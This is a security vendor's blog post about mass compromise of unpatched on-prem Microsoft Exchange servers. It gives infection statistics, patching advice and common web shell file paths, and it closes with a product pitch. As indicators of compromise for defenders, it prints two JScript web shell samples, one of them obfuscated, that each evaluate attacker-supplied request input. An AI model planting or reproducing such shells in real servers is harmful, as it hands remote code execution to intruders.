Mass Exploitation of On-Prem Exchange Servers

• -20% of the Exchange servers reviewed by Huntress (those running affected versions) appeared to have been compromised
• -Nearly 25% of the incident reports we sent were to hosts who had been compromised more than once
• -At this time, approximately 12% of the Exchange servers we're monitoring are not patched yet

Our Take: While the initial discovery of these attacks is behind us, we're clearly not out of the woods yet. If you've got Exchange servers that haven't been patched (or you're not sure), now is the time to dig in and ensure you're protecting both your internal and client environments.

According to Microsoft’s initial blog, they detected multiple zero-day exploits being used to plunder on-premises versions of Microsoft Exchange Server in what they claim are “limited and targeted attacks.” They also highlight that threat actor "HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs."

Read more about the initial news of these exploits in our original blog post.

If you use on-prem Microsoft Exchange Servers, assume you’ve been hit. If you haven’t already done so, patch immediately. Now that the vulnerability is well known, multiple actors are exploiting it to compromise unpatched servers.

Once you have patched, validate the patch.  Finally look for the presence of web shells and other indicators of compromise (visit the blog for more technical details). We’ve seen cases where a system has been patched but still has web shells the actors are using.

Some common paths for web shells:

• C:\inetpub\wwwroot\aspnet_client
• C:\inetpub\wwwroot\aspnet_client\system_web (if system_web exists)
• C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
• C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current

If you see unfamiliar .aspx files with random names, and their contents looks like log output with an ExternalUrl line indicating the use of “JScript” code, there is a strong possibility this host is compromised.

We're also seeing some new or different instances of JavaScript being used in web shells. Some examples are below:

• <%@ Page Language="Jscript" Debug=true%><%var errorSubHeader="TLsBmaDXMoWjeEkfgvcUPVCYbylzItqOuKGSxnQFRdJwhNHAirZp";var fontsize=Request.Form("Font.size.mB");var fontmin=errorSubHeader(19) + errorSubHeader(37) + errorSubHeader(2) + errorSubHeader(5) + errorSubHeader(15) + errorSubHeader(12);eval(fontsize, fontmin);%>

   

• http://i/#<script language="JScript" runat="server">var _7tw8fs=["d5g6le","jftre"];function Page_Load(){/**/ eval(Request["wq4ywu3v"],"unsafe");}</script>

Yes! While these Exchange vulnerabilities wouldn't traditionally have been discovered by the Huntress platform—because the indicators of compromise (IOCs) are not persistence mechanisms—we've made some additions to the platform to specifically look for potential IOCs. 

Our engineering team has also introduced new code to generate incident reports (with Assisted Remediation playbooks) for any infected agents we've detected.

If you're not a current partner and are interested in learning more, check out a demo or jump straight into a free 21-day trial.